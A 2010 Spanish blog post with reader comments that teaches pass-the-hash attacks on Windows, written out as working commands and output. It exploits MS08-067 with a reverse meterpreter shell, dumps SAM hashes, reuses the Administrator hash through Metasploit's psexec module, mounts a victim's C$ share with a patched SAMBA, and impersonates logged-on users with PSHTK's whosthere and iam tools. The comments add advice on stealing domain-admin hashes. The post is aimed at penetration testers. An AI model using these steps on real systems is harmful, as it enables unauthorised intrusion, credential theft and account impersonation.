miércoles, 28 de abril de 2010

Pass-the-Hash con MetaSploit, SAMBA Patch y PSHTK

En este artículo, vamos a utilizar el módulo PSEXEC de MetaSploit, el patch para SAMBA de JoMo-kun (Foofus) y el Pass-the-Hash Toolkit "PSHTK" de Hernán Ochoa.

Durante un Pentest, conseguir un password es algo muy valioso, pero por qué realizar ataques de fuerza bruta, o dedicar meses crackeando una contraseña, cuando simplemente podemos utilizar el hash sin crackear de la víctima.

La técnica de Pass-the-Hash ha estado entre nosotros por más de 13 años, siendo publicada originalmente en 1997 por Paul Ashton. Desde entonces aparecieron varias herramientas, con algunas limitaciones superadas en los últimos tiempos, que lograron que estas, también sean más fáciles de utilizar.

La idea de este post, es realizar una pequeña introducción a Pass-the-Hash, para seguir profundizando luego en futuros artículos. A continuación, vamos a ver como obtener los hashes de la víctima con el comando hashdump de meterpreter, y cómo utilizar estos hashes, con el módulo PSEXEC de MetaSploit, el patch para SAMBA de JoMo-kun (Foofus) y el Pass-the-Hash Toolkit "PSHTK" de Hernán Ochoa.

Para quienes quieran conocer más profundamente como funciona esta técnica, les recomiendo leer el paper de Bashar Ewaida publicado en SANS, y ver la presentación de Jose Selvi (pentester.es) que realizó en la FIST de Barcelona.


Obteniendo los Hashes

Hay muchas formas de obtener los hashes de la víctima, pero a continuación lo vamos a hacer explotando una vulnerabilidad con MetaSploit, y luego utilizando el comando "hashdump" de meterpreter:

use windows/smb/ms08_067_netapi
set RHOST 192.168.1.37
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.15
exploit
meterpreter > hashdump
Administrador:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
Invitado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
IUSR_EVILNINJA:1001:4cd3d6f079c529c6139f413c08fb0bc0:1814558a03e2e6be1e896abd343275b2:::
IWAM_EVILNINJA:1002:d2d8bbad7184a0fa5c262f913af7c48d:88f10abdecbc1c6d84b9d2d193e01334:::
student:1006:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
TsInternetUser:1000:889651ab45c9556e39af38e766c662c9:fb46d1badeacd92c1f11cd4a68945f6b:::
meterpreter >

Una vez obtenidos los hashes, el paso lógico seria crackearlos con herramientas como John the Ripper, Cain & Abel o Ophcrack, pero en este caso la idea es utilizarlos directamente, para loguearnos al sistema víctima, sin crackear el hash.


Pass-the-Hash con PSEXEC de MetaSploit

El módulo PSEXEC de Metasploit, es similar a la herramienta psexec de Sysinternals, que permite ejecutar comandos remotos en Windows. Solo que en este caso, también nos permite realizar Pass-the-Hash. 

Después de cargar el módulo, simplemente configuramos la variable "SMBPass" con el hash de Administrador que obtuvimos previamente.

use windows/smb/psexec
set RHOST 192.168.1.37
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.15
set SMBUser Administrador
set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
exploit

El payload que tenemos configurado nos entregará un meterpreter reverso, pero podríamos utilizar cualquier otro payload.


Pass-the-Hash con el patch para SAMBA de JoMo-kun

La idea de los patches de JoMo-kun, es darle a SAMBA la habilidad de utilizar Pass-the-Hash. Existe un patch para la versión 3.3.7 de SAMBA, pero por alguna razón que no tengo ganas de comprender, una vez que esta todo compilado me tira segfaults. Así que lo haremos con la versión 3.0.22 de SAMBA que funciona muy bien:

# Bajamos los dos patch de JoMo-kun y SAMBA 3.0.22
wget http://www.foofus.net/jmk/tools/samba-3.0.22-passhash.patch
wget http://www.foofus.net/jmk/tools/samba-3.0.22-add-user.patch
wget http://us3.samba.org/samba/ftp/old-versions/samba-3.0.22.tar.gz

# Descomprimimos SAMBA y aplicamos los patchs
tar xvfz samba-3.0.22.tar.gz
patch -p0 
patch -p0 

# Configuramos y compilamos
cd samba-3.0.22/source/
./configure --with-smbmount
make

Si no tienen problema en "ensuciar" su distro con este SAMBA viejo patcheado, es recomendable hacer un "make install", de lo contrario van a tener que hacer un par de symlinks para algunos archivos que son llamados al path de instalación.

Una vez que esta todo instalado, exportamos la variable "SMBHASH" con el hash de Administrador que obtuvimos previamente:

export SMBHASH="e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c"

Luego, entramos al directorio "bin", y ejecutamos el comando "smbmount" para montar el share de la víctima utilizando como password un hash. Cuando "smbmount" pregunta por un "Password:", debemos escribir algo, cualquier cosa, ya que si lo dejamos vacío intentará loguearse como guest.

./smbmount //10.168.0.127/c$ /mnt/victima -o username=administrador
Password:
HASH PASS: Substituting user supplied NTLM HASH...
HASH PASS: Substituting user supplied NTLM HASH...
HASH PASS: Substituting user supplied LM HASH...

Ahora, cuando entremos al directorio "/mnt/victima", vamos a encontrar todo el share de la víctima montado en nuestro filesystem.


Pass the Hash con PSHTK de Hernán Ochoa

Sin dudas PSHTK es la más poderosa de todas las herramientas, principalmente porque funciona bajo Windows, y nos va a permitir usar todas las aplicaciones de este sistema nativamente.

PSHTK tiene dos archivos importantes, WHOSTHERE.EXE, que va a listar las sesiones que se loguearon en el sistema, y IAM.EXE, que nos va a permitir impersonar al usuario víctima.

Ambos programas, obtienen la información sobre los hashes de los usuarios que se loguearon, de la librería LSASRV.DLL en memoria. Como la dirección de memoria cambia según el sistema, puede pasar que esta  dirección no sea hallada automáticamente, y se la debamos pasar nosotros a través de la opción "-a".

Hernán mantiene en este website, un listado de sistemas con sus respectivas direcciones de memoria. Pero si no esta allí la dirección para el sistema que están usando, como me paso en este caso, deberemos obtener la dirección por nuestra cuenta. Para ello, les recomiendo seguir los pasos del excelente artículo que escribió Jose Selvi en su blog.

Para un Windows XP SP2 en español 
whosthere -a 753F642C:753F3F1B:7547FC38:7547FC40:7547EC40:7547EE34

Primero listamos los usuarios logueados en el sistema, y vemos que estamos con el usuario "admin":

whosthere.exe -a 753F642C:753F3F1B:7547FC38:7547FC40:7547EC40:7547EE34
(recortado, para mejor visualización)
admin:KUNGF52EB87CC7:E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C
KUNG-F52EB87CC7$:INICIOMS:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0

Luego, impersonamos al usuario víctima, en este caso "kungfoosion":

iam.exe -a 753F642C:753F3F1B:7547FC38:7547FC40:7547EC40:7547EE34 -h 
kungfoosion:INICIOMS:E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C
IAM v1.4 - by Hernan Ochoa (hochoa@coresecurity.com, hernan@gmail.com) - 
(c) 2007-2008 Core Security Technologies
Parameters:
Username: kungfoosion
Domainname: INICIOMS
LM hash: E52CAC67419A9A224A3B108F3FA6CB6D
NT hash: 8846F7EAEE8FB117AD06BDD830B7586C
Run:
LSASRV.DLL version: 00050001h. A280884h
Checking LSASRV.DLL....Ok! using supplied addresses.
The current logon credentials were sucessfully changed!

Finalmente, podemos observar que impersonamos exitosamente a ese usuario:

whosthere.exe -a 753F642C:753F3F1B:7547FC38:7547FC40:7547EC40:7547EE34
(recortado, para mejor visualización)
kungfoosion:INICIOMS:E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C
KUNG-F52EB87CC7$:INICIOMS:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0

Esto es todo amigos, no dejen de probarlo que esta muy bueno!! :)


REFERENCIAS:
- Paul Ashton (1997): NT "Pass the Hash" with Modified SMB Client Vulnerability
- Core Security: Pass-The-Hash Toolkit
- HEXALE: Blog de Hernán Ochoa
- pentester.es: Pass-the-hash Toolkit & IDA Pro
- pentester.es: Windows Post-Explotation & Pass-the-Hash
- pentester.es: Técnicas Pass-the-Hash
- foofus.net: JoMo-kun patch para SAMBA


Publicado por Leonardo Pigñer en www.KUNGFOOSION.com

4 comentarios:

d3m4s1@d0v1v0 dijo...

Es verdad que esta técnica está hace años entre nosotros, pero fue hasta que leí un post en dragonjar que me decidí a investigar.
Da la casualidad que en el último mes varios publicamos sobre este ataque. Yo me dediqué a mostrar más cómo obtener el privilegio domain admin arrancando con un pass-the-hash: Pass-the-Hash + Token Impersonation = Escalación de privilegios en dominios Windows
Saludos!

Dinosaurio dijo...

Cordial saludo,

Es bueno el procedimiento aunq sea cierto que ya tiene su buen rato, pero me deja el sinsabor es para que continuo con un proceso de logeo con un Hash si puedo tener inmediatamente una shell con el meterpreter
e interactuar con el objetivo de igual manera aplicar otros metodos para asegurar de nuevo el ingreso.

Para mi particularmente su aplicabilidad estaria combinando una tecnica de MITM para capturar las Hash y de esta forma si intentar el acceso en aquellos dispositivos en donde no tengo acceso local.

Bytes

Dino

hernan dijo...

Dino,

No estoy seguro de haber entendido tu comentario, si entendi mal avisame, pero comento:

1.Por lo menos la primera vez necesitas usar el hash (pq no se puede crackear la clave, etc) para ganar acceso a otras maquinas, asi que usar el hash es util y necesario en estos casos.


2.mantener el acceso no es todo. A veces no solo queres crearte un usuario nuevo o mantener el acceso con algun agente/probe/servicio, etc. Sino que queres impersonar realmente a la cuenta comprometida (la cuenta para la cual obtuviste el hash).

Usando el pth toolkit en un windows podes impersonar completamente la cuenta comprometida, eso quiere decir podes correr los clientes de ms sql, iis, dominio, y cualquier cosa propietaria que use DCE/RPC sobre SMB con autentication NTLM (el server puede estar corriendo en cualquier servidor, no el que vos comprometiste).

Si hay algun cliente raro que usa NTLM auth sobre SMB, si usas pth podes usarlo e impersonar la cuenta. Sino, es raro que encuentras una implementacion de terceros de SMB que soporte el cliente raro (imposible si es una aplicacion propietaria por ejemplo).

Podes impersonar la cuenta completamente, y tenes a tu disposicion CUALQUIER herramienta que use NTLM sobre SMB pq estas usando al mismo Windows y sus utilidades.Si usas una implementacion de terceros de SMB (como la que tiene metasploit o cualquier otro), tenes una implementacion parcial siempre.

A veces te alcanza esta impl. parcial, y a veces no..

depende que quieras hacer..

3. acordate que ademas de impersonar con iam y iam-alt, whosthere y whosthere-alt te pueden servir para obtener hashes de usuarios que se conectaron remotamente al servidor que comprometiste (por ejemplo, por RDP).. aun si ya se desloguearon..

Ejemplo: Comprometiste un servidor de backup, pero el administrador se loguea cada tanto con sus credenciales de dominio...

si usas whosthere/whosthere-alt vas a poder obtener sus credenciales si se logueo, por ej, por RDP en el pasado a esa maquina... cosa que on lograrias obteniendo los hashes de la local SAM del backup server pq ahi no van a estar los hashes del domain admin..

Las herramientas te permiten no solo impersonar, sino tambien obtener hashes que no estan en la SAM local de la maquina comprometida..

etc.

Chau!!

Dino dijo...

Saludos Hernan,

A ver si hablamos de lo mismo o estoy errado.

"1.Por lo menos la primera vez necesitas ............

En realidad en este punto no necesitas impersonar o lograr crackear los hash, ya que al explotar use windows/smb/ms08_067_netapi, ya tendrias shell o un meterprete y con este a su vez shell, y muchas otros PAYLOADS que permite. Es decir no necesito continuar con el proceso de hash, a esto me referia en este primer punto. Y esto seria teniendo una maquina objetivo.


"2.mantener el acceso no es todo. A veces no solo queres crearte un usuario nuevo o mantener el ........"

De acuerdo tal vez la ventaja q me brindaria el proceso es la suplantacion de identidad, pero que diferencia es si se utiliza el modulo incognito de metasploit para impersonar, o lograr la cuenta del admin con otras tecnicas que igual hacen uso de LSASDRV?. Lo que supondria es que es una tecnica mas que puedo tener para aplicar!!. Disculpa mi ignorancia, solo intento entender. De igual forma creo que ya debo de tener una cuenta de usuario basico para ejecutar la labor con PSHTK??

"Usando el pth toolkit en un windows podes impersonar....."

Bien, lo unico que me preocupa haciendo uso de la herramienta es que en un proceso de analisis forense deja huellas, a menos que me de a la tarea de limpiar rastros en el sistema

"Si hay algun cliente raro que usa NTLM auth sobre SMB, si usas pth podes usarlo e impersonar ....."

Con el modulo incognito de Metasploit seria igual??

"A veces te alcanza esta impl. parcial, y a veces no..

depende que quieras hacer..

3. acordate que ademas de impersonar con iam y iam-alt, whosthere......"

Y lo q decia era que los hash los puedo obtener con una herramienta realizando un arp poisong un MITM para levantar los hash para usar Pass-the-Hash con PSEXEC de MetaSploit en unas maquinas que determine como objetivo.

Gracias por la informacion y las aclaraciones, y como te contaba no se si estabamos hablando de lo mismo. En realidad la tecnica es buena. Y la conclusion a la que llego es q localmente puedo utilizarlo para impersonar un usuario, sin buscar descifrar un hash. O aplicar otra tecnica, lo unico es que primero debo tener una cuenta de usuario local.

Igual si tengo imprecisiones o estoy errado, seria bueno me lo aclararan para entender mejor el proceso.


thank, bytes


Dino

LinkWithin